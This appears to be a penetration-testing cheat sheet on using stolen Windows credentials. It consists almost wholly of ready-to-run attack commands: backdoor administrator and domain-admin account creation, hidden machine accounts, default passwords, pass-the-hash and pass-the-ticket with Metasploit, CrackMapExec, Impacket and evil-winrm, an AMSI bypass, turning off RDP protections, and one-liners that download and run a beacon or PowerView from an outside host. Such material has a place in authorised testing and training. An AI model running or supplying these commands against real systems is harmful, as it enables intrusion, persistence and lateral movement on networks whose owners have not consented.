Windows - Using credentials
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Windows - Using credentials

Zxce3 May 6, 2021 2021-05-06T00:00:00+07:00
7 min reads

Summary

TIPS

TIP 1 - Create your credential

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net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword

# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr

Some info about your user

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net user /dom
net user /domain

TIP 2 - Retail Credential

Retail Credential @m8urnett on Twitter

when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin

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Username: RetailAdmin
Password: trs10

TIP 3 - Sandbox Credential - WDAGUtilityAccount

WDAGUtilityAccount - @never_released on Twitter

Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard

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\\windowssandbox
Username: wdagutilityaccount
Password: pw123

Metasploit

Metasploit - SMB

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use auxiliary/scanner/smb/smb_login  
set SMBDomain DOMAIN  
set SMBUser username
set SMBPass password
services -p 445 -R  
run
creds

Metasploit - Psexec

Note: the password can be replaced by a hash to execute a pass the hash attack.

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use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser username
set SMBPass password
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

Crackmapexec

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root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'

Remote Code Execution with PS Credentials

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PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami}
PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe}

WinRM

Require:

  • Port 5985 or 5986 open.
  • Default endpoint is /wsman
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root@payload$ git clone https://github.com/Hackplayers/evil-winrm
root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H BD1C6503987F8FF006296118F359FA79
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local

*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))

or using a custom ruby code to interact with the WinRM service.

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require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'http://ip:5985/wsman',
  user: 'domain/user',
  password: 'password',
)

command=""
conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

Powershell Remoting

PSSESSION

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PS> Enable-PSRemoting

# use credential
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# one-to-one interactive session
PS> Enter-PSSession -computerName DC01
[DC01]: PS>

# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
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# one-to-many execute scripts and commands
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1

Winexe

Integrated to Kali

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root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe

WMI

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PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

Psexec.py / Smbexec.py / Wmiexec.py

From Impacket (:warning: renamed to impacket-xxx in Kali) :warning: get / put for wmiexec, psexec, smbexec, and dcomexec are changing to lget and lput.

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root@payload$ git clone https://github.com/CoreSecurity/impacket.git

# PSEXEC like functionality example using RemComSv
root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
# this will drop a binary on the disk = noisy

# A similar approach to PSEXEC w/o using RemComSvc
root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10

# A semi-interactive shell, used through Windows Management Instrumentation. 
root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79


# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. 
root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10

# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10

PsExec - Sysinternal

from Windows - Sysinternal

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PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe

# switch admin user to NT Authority/System
PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s

RDP Remote Desktop Protocol

:warning: NOTE: You may need to enable RDP and disable NLA and fix CredSSP errors.

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# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Abuse RDP protocol to execute commands remotely with the following commands;

  • rdesktop
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      root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
  root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
  # -g : the screen will take up 70% of your actual screen size
  # -r disk:share : sharing a local folder during a remote desktop session
  • freerdp
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      root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
  root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
    
  # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
  # pass the hash works for Server 2012 R2 / Win 8.1+
  root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
  • SharpRDP
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      PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Netuse

Windows only

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PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$

Runas

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PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe

Pass the Ticket

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python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
[*] Saving ticket in user.ccache
cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0
klist

SSH

:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!

cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv

References

Methodology and Resource, Windows
Network Windows
This post is licensed under CC BY 4.0 by the author.
Contents

Windows - Privilege Escalation

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